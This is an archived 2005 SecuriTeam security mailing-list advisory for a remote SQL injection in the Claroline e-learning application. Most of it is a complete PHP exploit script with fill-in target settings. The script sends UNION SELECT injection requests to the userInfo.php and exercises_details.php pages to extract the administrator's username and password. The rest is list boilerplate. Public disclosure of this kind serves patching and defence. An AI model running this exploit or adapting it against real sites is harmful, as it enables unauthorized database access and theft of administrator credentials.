

[EXPL] Claroline E-Learning Application Remote SQL Injection (Exploit 2)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-06/0076.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/20/05

To: list@securiteam.com

Date: 20 Jun 2005 10:02:36 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Claroline E-Learning Application Remote SQL Injection (Exploit 2)

SUMMARY

Claroline is "an Open Source software based on PHP /MySQL. It's a collaborative learning environment allowing teachers or education institutions to create and administer courses through the web". An SQL Injection vulnerability has been discovered discovered in Claroline E-Learning, the following exploit code will return the username and password of the administrator user of the product.

DETAILS

Exploit:

```
<?php
```

```
#####
```

```
# Trap - Set Underground Hacking Team
```

```
#####
```

```
# Vulnerable: Claroline E-Learning Application
```

```
#
```

```
# Exploit By : MH_p0rtal
```

```
#
```

```
# Discovered By: Sieg Fried
```

Securiteam: [EXPL] Claroline E-Learning Application Remote SQL Injection (Exploit 2)

```
#
#####
# Gr33tz To ==> Alpha_programmer , Oil_karchack , Dr_CephaleX , Str0ke
#
# And Iranian Hacking & Security Teams :
# IHS Team , alphaST , Shabgard Security Team , Emperor Hacking Team ,
# Crouz Security Team & Simorgh-ev Security Team
#####
# _____ Config :
# please replace your address :
$url = "http://www.example.com";
# Please replace your name file ( userInfo.php Or exercises_details.php )
$file1 = "userInfo.php";
# please replace your dir address :
$dirs = "/dir/to/claroline/user/";
# _____ End Config
#####
if ( $file1 == "userInfo.php" ) {
    $merg = $dirs.$file1;
    $fc = fsockopen("$url", 80, $errno, $errstr, 30);
    if (!$fc) {

        echo "Can't Connect\n";
    } else {
        $mh = "GET $merg?uInfo=-1%20UNION%20SELECT%20username,".
"password,0,0,0,0%20from%20user%20where%20user_id=1/* HTTP/1.1\r\n";
        $mh .= "Host: $url\r\n";
        $mh .= "Connection: Close\r\n\r\n";

        fwrite($fc, $mh);
        while (!feof($fc)) {
            echo fgets($fc, 1024);
        }
        fclose($fc);
    }
}
//-----
if ( $file1 == "exercises_details.php" ) {
    $merg = $dirs.$file1;
    $fc = fsockopen("$url", 80, $errno, $errstr, 30);
    if (!$fc) {

        echo "Can't Connect\n";
    } else {
        $mh = "GET $merg?exo_id=-1/**/UNION/**/SELECT%200,password,".
"username,0,0,0%20from%20user%20where%20user_id=1-- HTTP/1.1\r\n";
        $mh .= "Host: $url\r\n";
        $mh .= "Connection: Close\r\n\r\n";

        fwrite($fc, $mh);
        while (!feof($fc)) {
```

Securiteam: [EXPL] Claroline E-Learning Application Remote SQL Injection (Exploit 2)

```
echo fgets($fc, 1024);  
}  
fclose($fc);  
}  
}  
?>
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:mh_p0rtal@yahoo.com>
mh_p0rtal.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.